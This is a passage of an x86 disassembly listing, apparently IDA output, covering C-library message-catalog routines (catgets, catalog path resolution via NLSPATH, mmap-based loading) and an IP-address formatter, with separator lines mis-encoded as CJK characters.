S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805E110 proc near ; CODE XREF: sub_805E954+1Fp var_464 = byte ptr -464h var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = byte ptr -440h var_400 = byte ptr -400h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 458h push edi push esi push ebx mov [ebp+var_444], 0 mov [ebp+var_448], 0 cmp [ebp+arg_0], 0 jz short loc_805E16E mov eax, [ebp+arg_0] cmp byte ptr [eax], 0 jz short loc_805E16E mov ecx, [ebp+arg_0] cmp byte ptr [ecx], 2Fh jnz short loc_805E178 mov [ebp+var_444], ecx lea eax, [ebp+var_440] push eax mov ecx, [ebp+var_444] push ecx push 1 call stat mov edx, eax add esp, 0Ch test edx, edx jz loc_805E3D6 loc_805E16E: ; CODE XREF: sub_805E110+24j ; sub_805E110+2Cj ... mov eax, 0FFFFFFFFh jmp loc_805E3EF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E178: ; CODE XREF: sub_805E110+34j push 0 push 5 call sub_8062D4C mov [ebp+var_44C], eax add esp, 8 test eax, eax jnz short loc_805E198 mov [ebp+var_44C], offset aC_1 ; "C" loc_805E198: ; CODE XREF: sub_805E110+7Cj push offset aNlspath ; "NLSPATH" call secure_getenv mov esi, eax add esp, 4 test esi, esi jnz short loc_805E1B0 mov esi, offset aEtcLocaleLN_ca ; "/etc/locale/%L/%N.cat:/usr/lib/locale/%"... loc_805E1B0: ; CODE XREF: sub_805E110+99j cmp dword_8078F98, 0 jz loc_805E268 xor al, al mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx mov edi, dword_8078F98 cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax sub eax, edx push eax call malloc mov [ebp+var_448], eax add esp, 4 test eax, eax jz loc_805E16E push esi mov eax, [ebp+var_448] push eax call strcpy xor dl, dl mov edi, [ebp+var_448] mov al, dl cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_458], edx add esp, 8 mov eax, [ebp+var_448] cmp byte ptr [eax+edx-2], 3Ah jz short loc_805E24D mov eax, dword_8078F98 cmp byte ptr [eax], 3Ah jz short loc_805E24D push offset asc_806940E ; ":" mov ecx, [ebp+var_448] push ecx call sub_80577C0 add esp, 8 loc_805E24D: ; CODE XREF: sub_805E110+11Dj ; sub_805E110+127j mov eax, dword_8078F98 push eax mov ecx, [ebp+var_448] push ecx call sub_80577C0 mov esi, [ebp+var_448] add esp, 8 loc_805E268: ; CODE XREF: sub_805E110+A7j xor dl, dl mov edi, esi mov al, dl cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_458], edx mov ebx, edx dec ebx mov eax, edx inc eax push eax call malloc mov [ebp+var_450], eax mov [ebp+var_454], eax add esp, 4 test eax, eax jnz short loc_805E2B0 jmp loc_805E16E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E2A4: ; CODE XREF: sub_805E110+270j mov [ebp+var_444], ebx jmp loc_805E3A2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E2B0: ; CODE XREF: sub_805E110+18Dj push esi mov ecx, [ebp+var_454] push ecx call strcpy mov eax, [ebp+var_454] mov byte ptr [ebx+eax], 3Ah mov byte ptr [eax+ebx+1], 0 mov esi, [ebp+var_454] add esp, 8 cmp byte ptr [eax], 0 jz loc_805E3A2 lea esi, [esi] loc_805E2E0: ; CODE XREF: sub_805E110+28Cj mov ecx, [ebp+var_454] cmp byte ptr [ecx], 3Ah jnz loc_805E38D mov byte ptr [ecx], 0 lea ebx, [ebp+var_400] cmp byte ptr [esi], 0 jz short loc_805E363 db 8Dh,76h,0 ; lea esi, [esi+0] loc_805E300: ; CODE XREF: sub_805E110+251j cmp byte ptr [esi], 25h jnz short loc_805E358 cmp byte ptr [esi+1], 4Ch jnz short loc_805E324 inc esi mov eax, [ebp+var_44C] push eax push ebx call strcpy mov edi, [ebp+var_44C] jmp short loc_805E338 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E324: ; CODE XREF: sub_805E110+1F9j cmp byte ptr [esi+1], 4Eh jnz short loc_805E358 inc esi mov eax, [ebp+arg_0] push eax push ebx call strcpy mov edi, [ebp+arg_0] loc_805E338: ; CODE XREF: sub_805E110+20Fj xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov [ebp+var_458], edx lea ebx, [ebx+edx-1] add esp, 8 jmp short loc_805E35D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E358: ; CODE XREF: sub_805E110+1F3j ; sub_805E110+218j mov al, [esi] mov [ebx], al inc ebx loc_805E35D: ; CODE XREF: sub_805E110+243j inc esi cmp byte ptr [esi], 0 jnz short loc_805E300 loc_805E363: ; CODE XREF: sub_805E110+1EBj mov byte ptr [ebx], 0 lea ebx, [ebp+var_400] lea eax, [ebp+var_440] push eax push ebx push 1 call stat add esp, 0Ch test eax, eax jz loc_805E2A4 mov esi, [ebp+var_454] inc esi loc_805E38D: ; CODE XREF: sub_805E110+1D9j inc [ebp+var_454] mov eax, [ebp+var_454] cmp byte ptr [eax], 0 jnz loc_805E2E0 loc_805E3A2: ; CODE XREF: sub_805E110+19Aj ; sub_805E110+1C8j mov ecx, [ebp+var_450] push ecx call free add esp, 4 cmp [ebp+var_448], 0 jz short loc_805E3C9 mov eax, [ebp+var_448] push eax call free add esp, 4 loc_805E3C9: ; CODE XREF: sub_805E110+2A8j cmp [ebp+var_444], 0 jz loc_805E16E loc_805E3D6: ; CODE XREF: sub_805E110+58j lea ecx, [ebp+var_440] push ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_444] push ecx call sub_805E640 mov edx, eax loc_805E3EF: ; CODE XREF: sub_805E110+63j lea esp, [ebp+var_464] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805E110 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden MCGetSet proc near ; CODE XREF: catgets+13p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_805E42C cmp [ebp+arg_0], 0 jz short loc_805E42C cmp [ebp+arg_4], 0 jle short loc_805E42C xor edi, edi mov eax, [ebp+arg_4] dec eax mov edx, [ebp+arg_0] cmp [edx+0Ch], eax jle short loc_805E434 mov ecx, eax mov esi, [ebp+arg_4] jmp short loc_805E44C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E42C: ; CODE XREF: MCGetSet+Aj MCGetSet+10j ... xor eax, eax jmp loc_805E4C2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E434: ; CODE XREF: MCGetSet+24j mov edx, [ebp+arg_0] mov esi, [edx+0Ch] mov ecx, esi sub ecx, edi mov eax, ecx shr eax, 1Fh add eax, ecx mov ecx, eax sar ecx, 1 lea esi, [esi] loc_805E44C: ; CODE XREF: MCGetSet+2Bj MCGetSet+9Aj ... lea eax, [ecx+ecx*2] lea eax, [eax+eax*8] add eax, ecx mov ebx, eax mov edx, [ebp+arg_0] add ebx, [edx+10h] mov edx, [ebp+arg_4] cmp [ebx], edx jz short loc_805E4B0 jge short loc_805E480 lea edi, [ecx+1] mov eax, edx sub eax, [ebx] lea eax, [eax+ecx+1] cmp esi, eax jle short loc_805E476 mov esi, eax loc_805E476: ; CODE XREF: MCGetSet+76j mov ebx, 1 jmp short loc_805E487 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E480: ; CODE XREF: MCGetSet+67j mov esi, ecx mov ebx, 0FFFFFFFFh loc_805E487: ; CODE XREF: MCGetSet+7Fj cmp edi, esi jge short loc_805E42C mov eax, esi sub eax, edi cmp eax, 1 jnz short loc_805E498 add ecx, ebx jmp short loc_805E44C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E498: ; CODE XREF: MCGetSet+96j mov eax, esi sub eax, edi mov edx, eax shr edx, 1Fh add eax, edx sar eax, 1 imul eax, ebx add ecx, eax jmp short loc_805E44C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E4B0: ; CODE XREF: MCGetSet+65j cmp dword ptr [ebx+18h], 0 jz short loc_805E4C0 push ebx mov edx, [ebp+arg_0] push edx call sub_805E844 loc_805E4C0: ; CODE XREF: MCGetSet+B8j mov eax, ebx loc_805E4C2: ; CODE XREF: MCGetSet+32j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn MCGetSet endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden MCGetMsg proc near ; CODE XREF: catgets+1Cp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx cmp [ebp+arg_0], 0 jz short loc_805E4FC mov edx, [ebp+arg_0] cmp dword ptr [edx+18h], 0 jnz short loc_805E4FC cmp [ebp+arg_4], 0 jle short loc_805E4FC xor edi, edi mov eax, [ebp+arg_4] dec eax mov edx, [ebp+arg_0] cmp [edx+14h], eax jle short loc_805E500 mov ecx, eax mov esi, [ebp+arg_4] jmp short loc_805E518 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E4FC: ; CODE XREF: MCGetMsg+Aj MCGetMsg+13j ... xor eax, eax jmp short loc_805E578 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E500: ; CODE XREF: MCGetMsg+27j mov edx, [ebp+arg_0] mov esi, [edx+14h] mov ecx, esi sub ecx, edi mov eax, ecx shr eax, 1Fh add eax, ecx mov ecx, eax sar ecx, 1 lea esi, [esi] loc_805E518: ; CODE XREF: MCGetMsg+2Ej MCGetMsg+92j ... lea eax, [ecx+ecx*2] shl eax, 2 mov edx, [ebp+arg_0] add eax, [edx+8] mov edx, [ebp+arg_4] cmp [eax], edx jz short loc_805E578 jge short loc_805E548 lea edi, [ecx+1] sub edx, [eax] mov eax, edx lea eax, [eax+ecx+1] cmp esi, eax jle short loc_805E53E mov esi, eax loc_805E53E: ; CODE XREF: MCGetMsg+6Ej mov ebx, 1 jmp short loc_805E54F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E548: ; CODE XREF: MCGetMsg+5Fj mov esi, ecx mov ebx, 0FFFFFFFFh loc_805E54F: ; CODE XREF: MCGetMsg+77j cmp edi, esi jge short loc_805E4FC mov eax, esi sub eax, edi cmp eax, 1 jnz short loc_805E560 add ecx, ebx jmp short loc_805E518 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E560: ; CODE XREF: MCGetMsg+8Ej mov eax, esi sub eax, edi mov edx, eax shr edx, 1Fh add eax, edx sar eax, 1 imul eax, ebx add ecx, eax jmp short loc_805E518 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E578: ; CODE XREF: MCGetMsg+32j MCGetMsg+5Dj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn MCGetMsg endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden catgets proc near ; CODE XREF: init_services_resolv+2A7p ; init_services_resolv+2CDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] mov ebx, [ebp+arg_C] push eax push edx push ecx call MCGetSet add esp, 8 push eax call MCGetMsg mov edx, ebx test eax, eax jz short loc_805E5AE mov edx, [eax+4] loc_805E5AE: ; CODE XREF: catgets+25j mov eax, edx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn catgets endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805E5B8 proc near var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edi, [ebp+arg_0] cmp edi, 0FFFFFFFFh jz short loc_805E5CD test edi, edi jnz short loc_805E5D4 loc_805E5CD: ; CODE XREF: sub_805E5B8+Fj mov eax, 0FFFFFFFFh jmp short loc_805E634 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E5D4: ; CODE XREF: sub_805E5B8+13j cmp dword ptr [edi], 1 jz short loc_805E5E9 mov eax, [edi+8] push eax mov eax, [edi+4] push eax call munmap add esp, 8 loc_805E5E9: ; CODE XREF: sub_805E5B8+1Fj xor esi, esi cmp [edi+0Ch], esi jle short loc_805E623 mov [ebp+var_4], 0 nop loc_805E5F8: ; CODE XREF: sub_805E5B8+69j mov ebx, [ebp+var_4] add ebx, [edi+10h] cmp dword ptr [ebx+18h], 0 jnz short loc_805E619 mov eax, [ebx+0Ch] push eax call free mov eax, [ebx+8] push eax call free add esp, 8 loc_805E619: ; CODE XREF: sub_805E5B8+4Aj add [ebp+var_4], 1Ch inc esi cmp [edi+0Ch], esi jg short loc_805E5F8 loc_805E623: ; CODE XREF: sub_805E5B8+36j mov eax, [edi+10h] push eax call free push edi call free xor eax, eax loc_805E634: ; CODE XREF: sub_805E5B8+1Aj lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805E5B8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805E640 proc near ; CODE XREF: sub_805E110+2D8p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edi, [ebp+arg_0] mov ebx, [ebp+arg_4] push 18h call malloc mov esi, eax add esp, 4 test esi, esi jnz short loc_805E66C mov eax, 0FFFFFFFFh jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E66C: ; CODE XREF: sub_805E640+1Dj mov [esi], ebx push 0 push edi call open mov [esi+4], eax add esp, 8 test eax, eax jge short loc_805E688 xor eax, eax jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E688: ; CODE XREF: sub_805E640+3Ej push 0 mov eax, [esi+4] push eax push 1 push 1 mov ecx, [ebp+arg_8] mov eax, [ecx+14h] mov [esi+8], eax push eax push 0 call mmap mov ebx, eax add esp, 18h cmp ebx, 0FFFFFFFFh jnz short loc_805E6C0 mov eax, [esi+4] push eax call close xor eax, eax jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E6C0: ; CODE XREF: sub_805E640+6Bj mov eax, [esi+4] push eax call close add esp, 4 cmp dword ptr [esi+8], 1Bh jbe loc_805E7F8 push 8 push offset aNazgul ; "*nazgul*" mov [esi+4], ebx push ebx call strncmp add esp, 0Ch test eax, eax jnz loc_805E7F8 mov eax, [esi+4] cmp dword ptr [eax+8], 1 jz short loc_805E71C push 1 mov eax, [eax+8] push eax push edi push offset aMessageCatalog ; "Message Catalog System" push offset aSSIsVersionDWe ; "%s: %s is version %d, we need %d.\n" push offset unk_80787A4 call fprintf xor eax, eax jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E71C: ; CODE XREF: sub_805E640+B8j mov eax, [esi+4] cmp dword ptr [eax+14h], 0 jg short loc_805E748 mov eax, [eax+14h] push eax push edi push offset aMessageCatalog ; "Message Catalog System" push offset aSSHasDSets ; "%s: %s has %d sets!\n" push offset unk_80787A4 call fprintf xor eax, eax jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E748: ; CODE XREF: sub_805E640+E3j mov eax, [esi+4] mov eax, [eax+14h] mov [esi+0Ch], eax mov eax, [esi+4] mov eax, [eax+14h] lea edx, [eax+eax*2] lea edx, [edx+edx*8] add eax, edx push eax call malloc mov [esi+10h], eax add esp, 4 test eax, eax jnz short loc_805E790 loc_805E76F: ; CODE XREF: sub_805E640+1B2j push offset aMessageCatalog ; "Message Catalog System" push offset aSNoMoreMemory_ ; "%s: no more memory.\n" push offset unk_80787A4 call fprintf mov eax, 0FFFFFFFFh jmp loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E790: ; CODE XREF: sub_805E640+12Dj mov eax, [esi+4] mov edx, [eax+18h] xor edi, edi cmp [esi+0Ch], edi jle loc_805E824 mov [ebp+var_4], 0 loc_805E7A8: ; CODE XREF: sub_805E640+1E2j cmp [esi+8], edx jl short loc_805E7F8 mov ebx, [ebp+var_4] add ebx, [esi+10h] lea eax, [edx+1Ch] cmp [esi+8], eax jb short loc_805E7F8 push 1Ch push ebx mov eax, edx add eax, [esi+4] push eax call bcopy add esp, 0Ch cmp dword ptr [ebx+18h], 0 jz short loc_805E7DC add [ebp+var_4], 0FFFFFFE4h dec edi jmp short loc_805E817 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E7DC: ; CODE XREF: sub_805E640+190j cmp dword ptr [esi], 1 jnz short loc_805E810 push ebx push esi call sub_805E844 add esp, 8 test eax, eax jg short loc_805E817 cmp eax, 0FFFFFFFFh jz loc_805E76F loc_805E7F8: ; CODE XREF: sub_805E640+90j ; sub_805E640+ABj ... push offset aMessageCatalog ; "Message Catalog System" push offset aSCorruptFile_ ; "%s: corrupt file.\n" push offset unk_80787A4 call fprintf xor eax, eax jmp short loc_805E838 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E810: ; CODE XREF: sub_805E640+19Fj mov dword ptr [ebx+18h], 0FFFFFFFFh loc_805E817: ; CODE XREF: sub_805E640+197j ; sub_805E640+1ADj mov edx, [ebx+4] add [ebp+var_4], 1Ch inc edi cmp [esi+0Ch], edi jg short loc_805E7A8 loc_805E824: ; CODE XREF: sub_805E640+15Bj cmp dword ptr [esi], 1 jnz short loc_805E836 mov eax, [esi+8] push eax mov eax, [esi+4] push eax call munmap loc_805E836: ; CODE XREF: sub_805E640+1E7j mov eax, esi loc_805E838: ; CODE XREF: sub_805E640+24j ; sub_805E640+42j ... lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805E640 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805E844 proc near ; CODE XREF: MCGetSet+BFp ; sub_805E640+1A3p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edx, [ebp+arg_4] mov edx, [edx+0Ch] mov [ebp+var_4], edx mov ecx, [ebp+arg_0] cmp [ecx+8], edx jl short loc_805E8DC mov edx, [ebp+arg_4] mov eax, [edx+10h] push eax call malloc mov ecx, [ebp+arg_4] mov [ecx+0Ch], eax add esp, 4 test eax, eax jz short loc_805E8D5 mov eax, [ebp+var_4] mov edx, [ebp+arg_4] add eax, [edx+10h] mov ecx, [ebp+arg_0] cmp [ecx+8], eax jl short loc_805E8DC mov edx, [ebp+arg_4] mov eax, [edx+10h] push eax mov eax, [edx+0Ch] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] add eax, [ecx+4] push eax call bcopy mov edx, [ebp+arg_4] mov edx, [edx+8] mov [ebp+var_4], edx add esp, 0Ch mov ecx, [ebp+arg_0] cmp [ecx+8], edx jl short loc_805E8DC mov edx, [ebp+arg_4] mov eax, [edx+14h] lea eax, [eax+eax*2] shl eax, 2 push eax call malloc mov ecx, [ebp+arg_4] mov [ecx+8], eax add esp, 4 test eax, eax jnz short loc_805E8E0 loc_805E8D5: ; CODE XREF: sub_805E844+31j mov eax, 0FFFFFFFFh jmp short loc_805E948 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E8DC: ; CODE XREF: sub_805E844+18j ; sub_805E844+42j ... xor eax, eax jmp short loc_805E948 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E8E0: ; CODE XREF: sub_805E844+8Fj xor edi, edi mov edx, [ebp+arg_4] cmp [edx+14h], edi jle short loc_805E939 xor esi, esi loc_805E8EC: ; CODE XREF: sub_805E844+F3j mov ebx, esi mov ecx, [ebp+arg_4] add ebx, [ecx+8] mov eax, [ebp+var_4] add eax, 0Ch mov edx, [ebp+arg_0] cmp [edx+8], eax jb short loc_805E8DC push 0Ch push ebx mov eax, [ebp+var_4] add eax, [edx+4] add eax, esi push eax call bcopy add esp, 0Ch cmp dword ptr [ebx+8], 0 jz short loc_805E924 add esi, 0FFFFFFF4h dec edi jmp short loc_805E92D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E924: ; CODE XREF: sub_805E844+D6j mov ecx, [ebp+arg_4] mov ecx, [ecx+0Ch] add [ebx+4], ecx loc_805E92D: ; CODE XREF: sub_805E844+DCj add esi, 0Ch inc edi mov edx, [ebp+arg_4] cmp [edx+14h], edi jg short loc_805E8EC loc_805E939: ; CODE XREF: sub_805E844+A4j mov ecx, [ebp+arg_4] mov dword ptr [ecx+18h], 0 mov eax, 1 loc_805E948: ; CODE XREF: sub_805E844+96j ; sub_805E844+9Aj lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805E844 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805E954 proc near ; CODE XREF: init_services_resolv+18p ; getanswer+B8p ... push ebp mov ebp, esp cmp dword_8078F9C, 0 jnz short loc_805E97D push offset unk_8069490 push 5 call sub_8062D4C push 0 push offset aLibc ; "libc" call sub_805E110 mov dword_8078F9C, eax loc_805E97D: ; CODE XREF: sub_805E954+Aj mov esp, ebp pop ebp retn sub_805E954 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805E984 proc near ; CODE XREF: sub_804E638+35p ; sub_804EA0C+184p ... arg_0 = byte ptr 8 arg_1 = byte ptr 9 arg_2 = byte ptr 0Ah arg_3 = byte ptr 0Bh push ebp mov ebp, esp movzx eax, [ebp+arg_3] push eax movzx eax, [ebp+arg_2] push eax movzx eax, [ebp+arg_1] push eax movzx eax, [ebp+arg_0] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push 12h push offset unk_807E39C call sub_8062888 mov eax, offset unk_807E39C mov esp, ebp pop ebp retn sub_805E984 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805E9B8 proc near ; CODE XREF: sub_805F7E4+753p arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, 